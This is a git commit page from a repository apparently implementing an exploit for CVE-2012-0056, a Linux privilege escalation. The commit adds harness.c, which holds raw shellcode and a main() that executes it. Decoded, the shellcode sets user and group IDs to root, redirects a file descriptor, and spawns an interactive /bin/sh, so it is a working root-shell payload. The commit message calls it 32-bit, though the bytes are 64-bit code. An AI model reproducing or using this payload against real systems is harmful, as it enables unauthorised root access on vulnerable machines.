diff options
author | Jason A. Donenfeld <Jason@zx2c4.com> | 2012-01-22 06:16:39 +0100 |
---|---|---|
committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2012-01-22 06:16:39 +0100 |
commit | 14b33f1b7c5c761cc089dede4fa6aeb187ff66ac (patch) | |
tree | df5f2aed70c872d7bc3059e2dc6de6c78fb17f90 /harness.c | |
parent | Add custom 64bit shellcode and preserve stderr. (diff) | |
download | CVE-2012-0056-14b33f1b7c5c761cc089dede4fa6aeb187ff66ac.tar.xz CVE-2012-0056-14b33f1b7c5c761cc089dede4fa6aeb187ff66ac.zip |
Add 32bit shellcode.
Diffstat (limited to 'harness.c')
-rw-r--r-- | harness.c | 7 |
1 files changed, 7 insertions, 0 deletions
diff --git a/harness.c b/harness.c new file mode 100644 index 0000000..10bf6ce --- /dev/null +++ b/harness.c @@ -0,0 +1,7 @@ +unsigned char buf[] = +"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40" +"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69" +"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb" +"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48" +"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; +void main() { (*(void(*)())buf)(); } |